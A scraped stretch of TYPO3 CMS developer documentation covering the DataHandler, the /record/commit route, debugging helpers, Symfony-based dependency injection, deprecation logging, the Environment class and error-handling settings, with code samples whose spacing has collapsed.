/** @var DataHandler $dataHandler */// Do not inject or reuse the DataHander as it holds state!// Do not use `new` as GeneralUtility::makeInstance handles dependencies
$dataHandler = GeneralUtility::makeInstance(DataHandler::class);
$dataHandler->start($data, $cmd, $alternativeBackendUser);
$dataHandler->process_datamap();
$dataHandler->process_cmdmap();
}
}
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Error handling
The data handler has a property errorLog as an array.
In this property, the data handler collects all errors.
You can use these, for example, for logging or other error handling.
EXT:my_extension/Classes/DataHandling/MyClass.php
<?phpdeclare(strict_types=1);
namespaceMyVendor\MyExtension\DataHandling;
usePsr\Log\LoggerInterface;
useTYPO3\CMS\Core\DataHandling\DataHandler;
useTYPO3\CMS\Core\Utility\GeneralUtility;
finalclassMyClass{
publicfunction__construct(
private readonly LoggerInterface $logger,
){}
publicfunctionhandleError(): void{
/** @var DataHandler $dataHandler */// Do not inject or reuse the DataHander as it holds state!// Do not use `new` as GeneralUtility::makeInstance handles dependencies
$dataHandler = GeneralUtility::makeInstance(DataHandler::class);
// ... previous call of DataHandler's process_datamap() or process_cmdmap()if ($dataHandler->errorLog !== []) {
$this->logger->error('Error(s) while creating content element');
foreach ($dataHandler->errorLog as $log) {
// handle error, for example, in a log$this->logger->error($log);
}
}
}
}
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The "/record/commit" route
This route is a gateway for posting form data to the
\TYPO3\CMS\Backend\Controller\SimpleDataHandlerController .
You can send data to this file either as GET or POST vars where POST
takes precedence. The variable names you can use are:
data
data
Data type
array
Data array on the form [tablename][uid][fieldname] = value.
Typically it comes from a POST form which submits a form field like
<input name="data[tt_content][123][header]" value="This is the
headline">.
cmd
cmd
Data type
array
Command array on the form [tablename][uid][command] = value. This
array may get additional data set internally based on clipboard
commands send in CB var!
Typically this comes from GET vars passed to the script like
&cmd[tt_content][123][delete]=1 which will delete the content
element with UID 123.
cacheCmd
cacheCmd
Data type
string
Cache command sent to
DataHandler->clear_cacheCmd().
redirect
redirect
Data type
string
Redirect URL. The script will redirect to this location after performing
operations (unless errors has occurred).
flags
flags
Data type
array
Accepts options to be set in DataHandler object. Currently, it supports
"reverseOrder" (boolean).
mirror
mirror
Data type
array
Example: [mirror][table][11] = '22,33' will look for content in
[data][table][11] and copy it to [data][table][22] and
[data][table][33].
CB
CB
Data type
array
Clipboard command array. May trigger changes in "cmd".
To display additional debug information in the backend, set
$GLOBALS['TYPO3_CONF_VARS']['BE']['debug']
in config/system/settings.php and log in with an administrator
account.
It shows for example the names of fields and in case of select, radio and
checkbox fields the values in addition, which are generated by the
FormEngine. These can be used to set access permissions or
configuration using Page TSconfig.
If EXT:lowlevel is installed, the name of the
database table or field is appended to the select options in the
System > DB Check > Full Search module.
Additionally, in debug mode, the page renderer does not compress or concatenate
JavaScript or CSS resources.
DebugUtility::debug()
The TYPO3 Core provides a simple
debug() (defined in
EXT:core/Classes/Core/GlobalDebugFunctions.php). It wraps around
\TYPO3\CMS\Core\Utility\DebugUtility::debug() and will output debug
information only if it matches a set of IP addresses (defined in
$GLOBALS['TYPO3_CONF_VARS']['SYS']['devIPmask']).
In general, look at class
\TYPO3\CMS\Core\Utility\DebugUtility for useful
debugging tools.
Extbase DebuggerUtility
Extbase's DebuggerUtility::var_dump() is a debugging function in TYPO3 that outputs detailed, human-readable information about variables, including their type and structure. It offers features like depth control and optional backtrace information to assist developers in effectively debugging complex data structures.
You can also use the Extbase DebuggerUtility to debug SQL Querys for example. To do so, put the following code snippet before the execute function of your SQL query:
The Fluid Debug ViewHelper is a part of the Fluid template engine and generates a HTML dump of the tagged variable. The ViewHelper can be used in any Fluid template to output the value of variables or objects in a human-readable format.
Example:
<f:debug>{myVariable}</f:debug>
To display all available variables in your Fluid template, you can use the _all placeholder:
<f:debug>{_all}</f:debug>
Note
If you are debugging in a Fluid partial or a Fluid section, make sure that all variables you want to analyse are passed (defined in the arguments attribute of the render tag).
This chapter explains "Dependency Injection (DI)" as used in TYPO3. Readers
interested in the general concepts and principles may want to look at, for
example, Dependency Injection in "PHP The Right Way" and
What is dependency injection? by Fabien
Potencier. Whenever a service has a service dependency to another
class, the technique of dependency injection should be used to satisfy that need. TYPO3
uses a Symfony component for dependency injection. The component is PSR-11 compliant, and is used throughout
core and extensions to standardize the process of obtaining service dependencies.
By default all API services shipped with the TYPO3 Core system extensions offer dependency
injection. The recommended usage is constructor injection. Available as well are method injection and interface injection.
To activate the Symfony component for dependency injection a few lines of
configuration are necessary.
Introduction
The title of this chapter is "dependency injection" (DI), but the scope is a bit
broader: In general, this chapter is about TYPO3 object lifecycle management and
how to obtain services, with one sub-part of it being dependency injection.
Obtaining object instances in TYPO3 has always been straightforward: Call
GeneralUtility::makeInstance(\MyVendor\MyExtension\Some\Class::class) and hand over
mandatory and optional
__construct() arguments as additional arguments.
There are two quirks to that:
First, a class instantiated through
GeneralUtility::makeInstance() can implement
SingletonInterface. This empty interface definition tells makeInstance() to instantiate
the object exactly once for this request, and if another makeInstance() call asks for it,
the same object instance is returned - otherwise makeInstance() always creates a new object
instance and returns it. Implementing SingletonInterface is nowadays
considered old-fashioned, its usage should be reduced over time.
Second,
GeneralUtility::makeInstance() allows "XCLASSing". This is a - rather dirty -
way to substitute a class with a custom implementation. XCLASS'ing in general is
brittle and seen as a last resort hack if no better solution is available. In connection
with Symfony containers, XCLASSing services should be avoided in general and service
overrides should be used instead. Replacing the XCLASS functionality in TYPO3 is still work in progress.
In contrast, XCLASSing is still useful for data objects, and there is no good other solution yet.
Using
makeInstance() worked very well for a long time. It however lacked a feature
that has been added to the PHP world after
makeInstance() had been invented: Dependency injection.
There are lots of articles about dependency injection on the net, so we won't go too deep
here but rather explain the main idea: The general issue appears when classes follow the
separation of concerns
principle.
One of the standard examples is logging. Let's say a class's responsibility is the
creation of users - it checks everything and finally writes a row to database. Now, since
this is an important operation, the class wants to log an information like "I just created a user".
And this is where dependency injection enters the game: Logging is a huge topic, there are
various error levels, information can be written to various destinations and so on. The
little class does not want to deal with all those details, it just wants to tell the framework: "Please
give me some logger I can use and that takes care of all details, I don't want to know about them". This
separation is the heart of single responsibility and separation of concerns.
Dependency injection does two things for us here: First, it allows separating concerns, and second,
it hands the task of finding an appropriate implementation of a dependency over to the framework,
so the framework decides - based on configuration - which specific instance is given to the
consumer. Note in our example, the logging instance itself may have dependencies again - the process
of object creation and preparation may be nested.
In more abstract software engineering terms: Dependency injection
is a pattern used to delegate the task of resolving class dependencies away from a consumer
towards the underlying framework.
Back to history: After
makeInstance() has been around for quite a while and lacked an
implementation of dependency injection, Extbase appeared in 2009. Extbase brought a first container
and dependency injection solution, it's main interface being the Extbase
ObjectManager.
The Extbase object manager has been widely used for a long time, but suffered from some
issues younger approaches don't face. One of the main drawbacks of Extbase object manager
is the fact that it's based on runtime reflection: Whenever an object is to be instantiated,
the object manager scans the class for needed injections and prepares dependencies to be
injected. This process is quite slow though mitigated by various caches. And these also
come with costs. In the end, these issues have been the main reason the object manager
was never established as a main core concept but only lived in Extbase scope.
The object lifecycle and dependency injection solution based on Symfony DI has been
added in TYPO3v10 and is a general core concept: Next to the native
dependency injection, it is also wired into
makeInstance() as a long living
backwards compatibility solution, and it fully substitutes the Extbase object manager. In
contrast to the Extbase solution, Symfony based object management does not have the
overhead of
expensive runtime calculations. Instead it is an instance wide build-time solution: When
TYPO3 bootstraps, all object creation details of all classes are read from
a single cache file just once, and afterwards no expensive calculation is required
for actual creation.
Symfony based DI was implemented in TYPO3 v10 and usage of the Extbase
ObjectManager was discouraged.
The Extbase ObjectManager has been removed with TYPO3 v12. Making use of
Symfony DI integration continues. There
are still various places in the core to be improved. Further streamlining is
done over time. For instance, the final fate of
makeInstance()
and the
SingletonInterface has not fully been decided on. Various
tasks remain to be solved in younger TYPO3 development to further improve the
object lifecycle management provided by the core.
Build-time caches
To get a basic understanding of the core's lifecycle management it is helpful to
get a rough insight on the main construct. As already mentioned, object lifecycle
management is conceptualized as steps to take place at build-time.
It is done very early and only once during the TYPO3
bootstrap process. All calculated
information is written to a special cache that can not be reconfigured and is available
early. On subsequent requests the cache file is loaded.
Extensions can not mess with the construct if they adhere to the core API.
Besides being created early, the state of the container is independent and
exactly the same in frontend, backend and CLI scope. The same container instance may
even be used for multiple requests. This is becoming more and more important nowadays with the
core being able to execute sub requests. The only exception to this is the
Install Tool: It uses a more basic container that "cannot fail". This difference
is not important for extension developers however since they can't hook into the Install Tool
at those places.
The Symfony container implementation is usually configured to actively scan the
extension classes for needed injections. All it takes are just a couple
of lines within the Services.yaml file. This should be done within all extensions that
contain PHP classes and it is the fundamental setup we will outline in the following sections.
For developers, it is important to understand that dealing with Symfony DI is
an early core bootstrap and cached thing. The system will fail upon misconfiguration, leading
to unreachable frontend and backend.
Attention
Errors in the DI configuration may block frontend and backend!
The DI cache does not heal by itself but needs to be cleared manually!
With the container cache entry being a low level early bootstrap thing that is expensive
to calculate when it has to be rebuild, there is a limited list of options to flush
this cache:
The container cache entry is not deleted when a backend user clicks "Flush all caches"
in the backend top toolbar if the instance is configured as production
application. For developer convenience, the container cache is flushed in development
context, though.
The container cache is flushed using "Admin tools" -> "Maintenance" -> "Flush Caches"
of the Install Tool.
The container cache is flushed using the CLI command
vendor/bin/typo3 cache:flush. Using
vendor/bin/typo3 cache:warmup afterwards will rebuild and cache the container.
The container cache is automatically flushed when using the Extension Manager to load
or unload extensions in (non-Composer) classic mode.
Another way to quickly drop this cache during development is to remove all
var/cache/code/di/* files, which reside in typo3temp/ in classic mode
instances or elsewhere in composer mode instances (see Environment).
The main takeaway is: When a developer fiddles with container configuration,
the cache needs to be manually cleared. And if some configuration issue slipped in,
which made the container or DI calculation fail, the system does not heal itself and
needs both a fix of the Dependency injection
configuration plus probably a cache removal. The standalone Install
Tool however should always work, even if the backend breaks down, so the "Flush caches"
button is always reachable. Note that if the container calculation fails, the
var/log/typo3_* files contain the exception with backtrace!
Important terms
We will continue to use a couple of technical terms in this chapter, so let's quickly
define them to align. Some of them are not precisely used in our world, for
instance some Java devs may stumble upon "our" understanding of a prototype.
Prototype
The broad understanding of a prototype within the TYPO3 community is
that it's simply an object that is created anew every time. Basically the direct
opposite of a singleton. In fact, the prototype pattern describes a base object that
is created once, so
__construct() is called to set it up, after that it is
cloned each time one wants to have a new instance of it. The community isn't well aware
of that, and the core provides no "correct" prototype API, so the word prototype is
often misused for an object that is always created anew when the framework is
asked to create one.
Singleton
A singleton is an object that is instantiated exactly once within one request, with
the same instance being re-used when a class instance is requested. Symfony understands
such class instances as being "shared". TYPO3 can also declare a class as "shared" using the
SingletonInterface , but this is considered
old-fashioned. Services are usually declared shared by default.
This implies such classes should be stateless and there is trouble ahead when they are not.
Service
We use the understanding "What is a service?" from Symfony: In Symfony, everything
that is instantiated through the service container is a service. These are many things - for instance
controllers are services, as well as - non static - utilities, repositories and classes like mailers
and similar. To emphasize: Not only classes named with a
*Service suffix are services but basically
anything as long as it is not a data object. A class should represent either-or: A class is either
a service that manipulates or does something with given data and does not hold it, or is a class that
holds data. Sadly, this distinction is not always the case within TYPO3 core (yet), and there are
many classes that blend service functionality and data characteristics.
Data object
Data objects are the opposite of services. They are not available
through service containers. Calling
$container->has() returns
false and they can not be
injected. They should be instantiated using
new(). Domain models and DTOs are a typical example
of data objects. Data objects are not "service container aware" and do not support DI. Although the
TYPO3 core does not strictly follow this rule in all cases until now, the ambition is to get this done
over time.
Using DI
The general idea is: Whenever your service class has a service dependency to another class,
dependency injection should be used.
In some TYPO3 APIs dependency injection cannot be used yet. This applies to classes that need
specific data in their constructors or classes that are serialized and deserialized as, for
example, scheduler tasks. The TYPO3 core tries to refactor these cases over time. Such classes
need to fall back to old-school
GeneralUtility::makeInstance()
There are two ways proclaimed and natively supported by TYPO3 to obtain service dependencies:
Constructor injection using
__construct() and method injection using
inject*() methods. Constructor injection is the way to go as long as a class
is not dealing with complex abstract inheritance chains. The symfony service container
can inject specific classes as well as instances of interfaces.
Constructor injection
Lets say we're writing a controller that renders a list of users. Those users are
found using a
UserRepository service, making the user repository service a
direct dependency of the controller service. A typical constructor dependency injection
to resolve the dependency by the framework looks like this:
The symfony container setup process will now see
UserRepository as a dependency
of
UserController when scanning its
__construct() method. Since autowiring
is enabled by default (more on that below), an instance of the
UserRepository is
created and provided to
__construct() when the controller is created. The instance
is set as a class property using constructor
property promotion
and the property is declared
readonly.
Method injection
A second way to get services injected is by using
inject*() methods:
This ends up with basically the same result as above: The controller instance retrieves
an object of type
UserRepository in class property
$userRepository. The service
container calls such
inject*() methods directly after class instantiation, so after
__construct() has been executed, and before anything else.
The injection via methods was introduced by Extbase. TYPO3 core implemented it in addition to
the default Symfony constructor injection. Why did we do that, you may ask? Both
strategies have subtle differences: First, when using
inject*() methods, the type
hinted class property needs to be nullable, otherwise PHP >= 7.4 throws a warning
since the instance is not set during
__construct(). But that's just an
implementation detail. More important is an abstraction scenario. Consider this case:
We have an abstract controller service with a dependency plus a controller service that extends
the abstract and has further dependencies.
Now assume the abstract class is provided by TYPO3 core and the consuming class
is provided by an extension. If the abstract class would use constructor injection,
the consuming class would need to know the dependencies of the abstract, add its
own dependencies to the constructor, and then call
parent::__construct($logger) to
satisfy the abstracts dependency. This would hardcode all dependencies
of the abstract into extending classes. If later the abstract is changed and
another dependency is added to the constructor, this would break consuming
classes.
Differently put: When core classes "pollute"
__construct() with dependencies,
the core can not add dependencies without being breaking. This is the reason why
for example the extbase
AbstractController uses
inject*() methods for its
dependencies: Extending classes can then use constructor injection, do not need
to call
parent::__construct(), and the core is free to change dependencies of
the abstract.
In general, when the core provides abstract classes that are expected to be
extended by extensions, the abstract class should use
inject*() methods instead of
constructor injection. Extensions of course can follow this idea in similar
scenarios.
This construct has some further implications: Abstract classes should
think about making their dependency properties
private, so extending classes
can not rely on them. Furthermore, classes that should not be extended by extensions
are free to use constructor injection and should be marked
final, making
sure they can't be extended to allow internal changes.
Notice the difference? The code requests the injection of an interface and not a class!
This is permissible with both constructor and method injection. It compels the
service container to determine which specific class is configured as the
implementation of the interface and inject an instance of that class. A class
can declare itself as the default implementation of such an interface. This is
the essence of dependency injection: a consuming class no longer relies on a
specific implementation but on an interface's signature.
The framework ensures that something fulfilling the interface is injected. The
consuming class remains unaware of the specific implementation, focusing solely
on the interface methods. An instance administrator can configure the framework
to inject a different implementation, either globally or for specific classes.
The consumer remains unconcerned, interacting only with the interface methods.
The example below has a couple of controller classes as service consumers. There
is a service interface with a default implementation. The default implementation
uses the symfony PHP attribute
AsAlias to register itself as default.
A Services.yaml file configures different service implementation for
some service consumers:
<?phpdeclare(strict_types=1);
namespaceMyVendor\MyExtension\Service;
classMyOtherServiceImplementationimplementsMyServiceInterface{
publicfunctionfoo(){
// do something
}
}
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EXT:my_extension/Configuration/Services.yaml
services:_defaults:autowire:trueautoconfigure:truepublic:false# Within MySecondController and MyThirdController different implementations# than the default MyDefaultServiceImplementation of MyServiceInterface# shall be injected.# When working with constructor injectionMyVendor\MyExtension\Controller\MySecondController:arguments:$service:'@MyVendor\MyExtension\Service\MyOtherServiceImplementation'# When working with method injectionMyVendor\MyExtension\Controller\MyThirdController:calls:-method:'injectMyService'arguments:$service:'@MyVendor\MyExtension\Service\MyOtherServiceImplementation'
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Configuration
Services.yaml declaring service defaults
Extensions have to configure their classes to make use of
dependency injection. This can be done in Configuration/Services.yaml.
Alternatively, Configuration/Services.php can also be used, if
PHP syntax is required to apply conditional logic to definitions.
A basic Services.yaml file of an extension looks like the following.
Note
Whenever the service configuration or class dependencies change, the Core
cache must be flushed, see above for details.
autowire: true instructs the dependency injection component to
calculate the required dependencies from type declarations. The calculation
generates service initialization code.
An extension is not required to use autowiring. It can manually wire
dependencies. However, opting out of autowiring is less convenient and is not
further documented in this guide.
autoconfigure
This directive instructs the dependency injection component to automatically add
Symfony service tags based on implemented interfaces and base classes. For instance,
autoconfiguration ensures that classes implementing
SingletonInterface are publicly available from
the Symfony container and marked as shared (
shared: true).
TYPO3 dependency injection relies on this this for various default configurations.
It is recommended to set
autoconfigure: true.
public
public: false is a performance optimization and should therefore be set
in extensions. This settings controls which services are available through the
dependency injection container used internally by
GeneralUtility::makeInstance().
See "What to make public?" for more information.
Model exclusion
The path exclusion
exclude: '../Classes/Domain/Model/*' excludes
your models from the dependency injection container: You cannot inject them
nor inject dependencies into them. Models are not services but data objects
and therefore should not require dependency injection. Also, these objects are
usually created by the Extbase persistence layer, which does not support the
DI container.
Autoconfiguration using attributes and Services.yaml
Single service classes may need to change auto configuration
to be different than above declared defaults. This can be done using PHP attributes.
The most common use case is
public: true:
<?phpdeclare(strict_types=1);
namespaceMyVendor\MyExtension\Service;
useSymfony\Component\DependencyInjection\Attribute\Autoconfigure;
/**
* This service is instantiated using GeneralUtility::makeInstance()
* in some cases, which requires 'public' being set to 'true'.
*/#[Autoconfigure(public: true)]
readonly classMyServiceUsingAutoconfigurePublicTrue{
publicfunction__construct(
private SomeDependency $someDependency,
){}
}
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The above usage of the
Autoconfigure attribute declares this service as
public: true which overrides a
public: false default from a
Services.yaml file for this specific class.
<?phpdeclare(strict_types=1);
namespaceMyVendor\MyExtension\Service;
useSymfony\Component\DependencyInjection\Attribute\Autoconfigure;
/**
* This service is stateful and configures the service container to
* inject new instances to consuming services when they are instantiated.
*/#[Autoconfigure(shared: false)]classMyServiceUsingAutoconfigureSharedFalse{
private string $foo = 'foo';
publicfunction__construct(
private readonly SomeDependency $someDependency,
){}
publicfunctionsetFoo(): void{
$this->foo = 'bar';
}
}
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It is possible to set both using
#[Autoconfigure(public: true, shared: false)].
The
Autoconfigure attribute is beneficial when an extension includes a
service class that is either stateful or instantiated using
GeneralUtility::makeInstance(). This attribute embeds the configuration
directly within the class file, eliminating the need for additional entries in
Services.yaml - the configuration is "in place".
To reconfigure "foreign" services - those not provided by the extension itself
but by another extension (such as a service class from ext:core) - the
Services.yaml file can be utilized. A common scenario is when a core
service is not declared public because all core extensions retrieve instances
via constructor or method injection, rather than
GeneralUtility::makeInstance(). If an extension must use
GeneralUtility::makeInstance() for a specific reason, it can declare
the "foreign" service as "public" in Services.yaml:
EXT:my_extension/Configuration/Services.yaml
services:_defaults:autowire:trueautoconfigure:truepublic:falseMyVendor\MyExtension\:resource:'../Classes/*'# Declare a "foreign" service "public: true" since this extension needs# to instantiate the service using GeneralUtility::makeInstance() and# the service is configured "public: false" by the extension delivering# that service.TYPO3\CMS\Core\Some\Service:public:true
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Autowiring using attributes
Autowiring, particularly the
Autowire PHP attribute, is a powerful tool
for making dependency injection more convenient and transparent. TYPO3 core
includes default configurations that facilitate its use. Let’s explore some
examples.
Consider a service performing an expensive operation that caches the result
within the TYPO3 runtime cache to avoid repeating the operation within the same
request. The runtime cache, being a dependent service, should be injected. A
naive approach is to inject the core
CacheManager and retrieve the
runtime cache instance:
The "cache.runtime" service alias, configured by the TYPO3 core extension,
performs the
CacheManager->getCache() operation behind the scenes.
Utilizing such shortcuts simplifies the consumers.
The autowire attribute also enables the execution of expressions and injection
of the results, which is useful for "compile-time" state that remains constant
during requests. For example, to inject a feature toggle status:
Another example, including alias definition, is new in TYPO3 v13. It enables
injecting values from ext_conf_templates.txt files using the
ExtensionConfiguration API.
This example demonstrates the combination of a service class with an alias and
a consumer utilizing this alias in an
Autowire attribute.
The TYPO3 core provides a couple such service aliases, with the above ones being
the most important ones for extension developers. TYPO3 core does
not arbitrarily add aliases.
Installation-wide configuration
A global service configuration for a project can be set up to be utilized across
multiple project-specific extensions. This allows, for example, the aliasing of
an interface with a concrete implementation that can be used in several
extensions. Additionally, project-specific CLI commands can be registered without the need for a
project-specific extension.
However, this is only possible - due to security restrictions - if TYPO3 is
configured such that the project root is outside the document root, which is
typically the case in Composer-based installations.
In Composer-based installations, the global service configuration files
services.yaml and services.php are located within the
config/system/ directory of a TYPO3 project.
Consider the following scenario: You want to use the PSR-20 clock interface as
a type hint for dependency injection in the service classes of your project's
various extensions. This setup allows the concrete implementation to change
without altering your code. In this example, we use lcobucci/clock as the
concrete implementation.
The global files services.yaml and services.php are read before
files from extensions. The global files can provide defaults but can not override
service definitions from service configuration files loaded afterwards.
In short: "Manually" instantiated services using
GeneralUtility::makeInstance(MyService::class) must be made
public.
The basic difference between public and private is well explained in the
symfony documentation:
When defining a service, it can be made to be public or private. If a service is
public, it means that you can access it directly from the container at runtime.
For example, the doctrine service is a public service:
// only public services can be accessed in this way
$doctrine = $container->get('doctrine');
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But typically, services are accessed using dependency injection. And in this case,
those services do not need to be public.
So unless you specifically need to access a service directly from the container
via
$container->get(), the best-practice is to make your services private.
The implementation of
GeneralUtility::makeInstance() utilizes
$container->get().
As a result, services instantiated using
makeInstance()must be declared public if they have
dependencies that need to be injected.
Services without dependencies can be instantiated using
makeInstance() without
the service made public, as they are instantiated using
new without constructor
arguments.
Some services are automatically declared public by basic TYPO3 dependency injection
configuration since they are instantiated using
makeInstance() by the core
framework. The most common ones are:
Extbase controllers implementing
ControllerInterface ,
usually by inheriting
ActionController . They are
additionally declared
shared: false.
Backend controllers with
AsController class attribute.
They are additionally declared
shared: false:
Services that use dependency injection and are not declared public typically error
out with typical messages when instantiated using
makeInstance() They should
be declared public:
Unsatisfied constructor injection
(1/1) ArgumentCountError
Too few arguments to function MyVendor\MyExtension\Namespace\Class::__construct(),
0 passed in typo3/sysext/core/Classes/Utility/GeneralUtility.php on line 3461 and exactly 1 expected
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Unsatisfied method injection
(1/1) Error
Call to a member function methodName() on null
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How to override service arguments?
Some services in the TYPO3 core use service arguments, which can be overridden by third-party extensions.
For example, the
$rateLimiterFactory argument in the
\ControllerPasswordRecoveryController of the
typo3/cms-felogin
extension uses a service with the ID
feloginPasswordRecovery.rateLimiterFactory.
This service is defined in the
Services.yaml file of
ext:felogin and includes a service
argument named
$config, which specifies the configuration for the Symfony Rate Limiter used in
the class.
A third-party extension can override the
feloginPasswordRecovery.rateLimiterFactory service in
its own Services.yaml file, as shown in the example below:
It is important that the 3rd party extension is loaded after the extension whose service it overrides.
This can be achieved by requiring the original extension as a dependency in the packages/my-extension/composer.json file
of the 3rd party extension.
What do declare
shared: false?
Attention
In short: Declare a service
shared: false if it is stateful.
A service declared
shared: false is not a singleton. Instead, a new instance
is created each time the consuming service is instantiated. This approach makes the
consuming service stateful as well, but declaring
shared: false can help
mitigate side effects between different services. It is often preferable to create
stateful services using
GeneralUtility::makeInstance() when needed, rather
than within
__construct().
When to use
GeneralUtility::makeInstance()?
Attention
In short: Use
GeneralUtility::makeInstance() to obtain instances of stateful
services within otherwise stateless services.
Ideally, all services in a framework are stateless: They depend
on other stateless services and are always retrieved using dependency injection.
TYPO3 core development is gradually transitioning more services to be stateless.
However, many historically stateful services still exist. The critical point is that
injecting a stateful service into a stateless service makes the consumer stateful as
well. This can create a chain of coupled stateful services, leading to unexpected
results when these services are reused multiple times within a single request. While
declaring a service
shared: false can mitigate the issue, it doesn't solve the
underlying problem. This scenario is a primary use case for
GeneralUtility::makeInstance(). Instead of injecting a stateful service at
service build time and reusing it frequently, the service can use
makeInstance() at runtime when it needs a service instance.
For instance, the
DataHandler class should
create new instances for each use, as it becomes "tainted" after use and cannot reset
its state properly. Such "dirty-after-use" services should be instantiated anew with
makeInstance() when needed.
Some services are stateful but provide workarounds to be injectable. A good example
is the Extbase
UriBuilder . It is
stateful due to its use of the method chaining pattern but includes a
reset()
method to reset its state. When used correctly, this service can be injected and
reused. Additionally,
UriBuilder is declared
shared: false, so
consumers receive distinct instances, reducing the risk of bugs from improper use of
reset().
Various solutions exist to make existing services stateless. For instance, the extbase
UriBuilder could deprecate its
setX() chaining methods and introduce a
UriParameterBag data object, which would be passed to the service worker methods.
Implementing such changes in the TYPO3 core codebase is an ongoing process that requires
careful consideration.
Deciding whether to use
makeInstance() instead of dependency injection
requires examining the dependency's behavior. Consider these factors:
The service class is declared
readonly and only declares stateless
dependencies in
__construct().
The service has no class properties.
All
__construct() arguments are services and declared
readonly.
__construct() requires no manual non-service arguments.
The last point is particularly relevant: Some TYPO3 core services expect state to be
passed to
__construct(), making them stateful and unsuitable for injection,
as dependency injection cannot handle consumer state. These services must be
instantiated using
makeInstance() until their constructors are updated to be
compatible with dependency injection.
When to use
new?
Attention
In short: Use
new to instantiate data objects, not services.
Services should be always retrieved using dependency injection. If that is not
feasible because the dependent service is stateful or because the class is created
using a "polluted" constructor with manual arguments, it should be created using
makeInstance(). While services without dependencies could be instantiated
with
new, this approach has drawbacks: It introduces risks if the service
is later modified to include dependencies and bypasses the XCLASS mechanism and
potential service overrides by configuration.
Mix manual constructor arguments and service dependencies?
Attention
In short: No. For good reason.
A service can not mix manual constructor arguments with service dependencies
handled by dependency injection. Manual constructor arguments make services stateful.
When a service is instantiated with manual arguments, such as
$myService = GeneralUtility::makeInstance(MyService::class, $myState),
dependency injection is bypassed, and any other service dependencies in the
constructor are ignored. Mixing both blends the roles of services and data objects,
which is poor PHP architecture.
The extbase-based dependency injection solution using
ObjectManager
allowed such mixtures, but this has been replaced by the Symfony-based
dependency injection solution, which does not support this practice.
What about user functions?
It is possible to use dependency injection when calling custom user functions,
for example .userFunc within TypoScript or
in (legacy) hooks, usually via
\TYPO3\CMS\Core\Utility\GeneralUtility::callUserFunction().
callUserFunction() internally uses the dependency-injection-aware
helper
GeneralUtility::makeInstance(), which can recognize and inject
services that are marked public.
What about injection in a XCLASS'ed class?
When extending an existing class (for example, an Extbase controller) using
XCLASS and injecting additional dependencies using constructor
injection, ensure that a reference to the extended class is added in the
Configuration/Services.yaml file of the extending extension, as shown in
the example below:
This document does not currently elaborate on Symfony service providers,
although the TYPO3 core uses them in various places. Use cases for these
should be outlined.
The concept and usage of "lazy" services are not discussed.
Solutions to cyclic dependencies should be explored. Cyclic dependencies
occur when services depend on each other, forming a graph instead of a
tree, which Symfony's dependency injection cannot resolve. One solution
is to make one side lazy, although this is not the primary use of
"lazy." Another approach involves using a factory with an interface,
as demonstrated in ext:styleguide.
Calls to deprecated functions are logged to track usage of deprecated/outdated
methods in the TYPO3 Core. Developers have to make sure to adjust their code to
avoid using this old functionality since deprecated methods will be removed in
future TYPO3 releases.
Deprecations use the PHP method
trigger_error('a message', E_USER_DEPRECATED)
and run through the logging and exception stack of the TYPO3 Core. There are
several methods that help extension developers in dispatching deprecation
errors. In the development context, deprecations are turned into exceptions by
default and ignored in the production context.
TYPO3 ships with a default configuration, in which deprecation logging is
disabled. If you upgrade to the latest TYPO3 version, you need to change
your development configuration to enable deprecation logging in case you need
it.
Via GUI
Enabling the deprecation log can be done in the
Admin Tools > Settings backend module. Click on
Choose Preset in the Configuration Presets pane, open
Debug settings, activate the Debug option and submit
with Activate preset. Disabling the deprecation log can be done by
selecting the Live preset instead.
Enabling the debug preset
The debug preset enables also some other debug settings.
Note
These steps only enable/disable the FileWriter,
which comes with the TYPO3 default configuration. If you manually configured
additional writers for the TYPO3.CMS.deprecations logger, you need to
manually remove them to completely disable deprecation logging.
Via configuration file directly
Instead of using the GUI you can also enable
or disable the deprecation log with the
disabled option:
Excerpt of config/system/settings.php | typo3conf/system/settings.php
For more information on how to configure the writing of deprecation logs see
Writer configuration.
Find calls to deprecated functions
The extension scanner provides an interactive
interface to scan extension code for usage of removed or deprecated TYPO3 Core
API.
It is also possible to do a file search for
@deprecated and
E_USER_DEPRECATED . Using an IDE you can find all calls to the affected
methods.
The deprecations are also listed in the changelog of the
corresponding TYPO3 version.
Deprecate functions in extensions
Methods that will be removed in future versions of your extension should be
marked as deprecated by both the doc comment and a call to the PHP error method:
Excerpt of EXT:my_extension/Classes/MyClass.php
/**
* @deprecated since version 3.0.4, will be removed in version 4.0.0
*/publicfunctiondecreaseColPosCountByRecord(array $record, int $dec = 1): int{
trigger_error(
'Method "decreaseColPosCountByRecord" is deprecated since version 3.0.4, will be removed in version 4.0.0',
E_USER_DEPRECATED
);
// ... more logic
}
The TYPO3 Core includes an environment class that contains all
environment-specific information, mostly paths within the
filesystem. This implementation replaces previously used global variables and
constants like
PATH_site that have been removed with TYPO3 v10.
The fully qualified class name is
\TYPO3\CMS\Core\Core\Environment . The
class provides static methods to access the necessary information.
To simulate environments in testing scenarios, the
initialize()-method can
be called to adjust the information.
A comprehensive list of methods can be found in the
Class Reference.
getProjectPath()
The environment provides the path to the folder containing the composer.json.
For projects without Composer setup, this is equal to getPublicPath().
getPublicPath()
The environment provides the path to the public web folder with
index.php for the TYPO3 frontend. This was previously
PATH_site.
For projects without Composer setup, this is equal to getProjectPath().
getVarPath()
The environment provides the path to the var/ folder. This folder contains
data like logs, sessions, locks, and cache files.
For Composer-based installations, it returns var/, in Classic mode
installations typo3temp/var/.
In Composer-based installation this method provides the path
config/, in Classic mode installations
typo3conf/.
The directory returned by this method contains the folders system/
containing the configuration filessystem/settings.php and system/additional.php and the folder
sites/ containing the site configurations.
The environment provides the path to var/labels/ in
Composer-based installations, respective typo3conf/l10n/
folder in Classic mode installations. This folder contains downloaded translation files.
Returns the path and filename to the current PHP script.
getContext()
Returns the current Application Context, usually defined via the TYPO3_CONTEXT environment variable.
May be one of Production, Testing, or Development with optional sub-contexts like Production/Staging.
useTYPO3\CMS\Core\Core\Environment;
$applicationContext = Environment::getContext();
if ($applicationContext->isProduction()) {
// do something only when in production context
}
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Error and exception handling
TYPO3 has a built-in error and exception handling system. Administrators can
configure how errors and exceptions are displayed in both the backend and the
frontend.
It is also possible to write changes manually into the configuration file
config/system/settings.php or
config/system/additional.php.
Most configuration options related to error and exception handling are
part of
$GLOBALS['TYPO3_CONF_VARS']['SYS'] .
The following configuration values are of interest:
Defines a list of IP addresses which will allow development output to
display. Setting to "*" will allow all. Setting it to an empty string
allows none.
The default debug exception handler displays
the complete stack trace of any encountered
exception. The error message and the stack trace is logged to the
configured logs.
Exception handler for rendering TypoScript content objects
Exceptions which occur during rendering of content objects (typically plugins)
will be caught by default in production context and an error message is shown
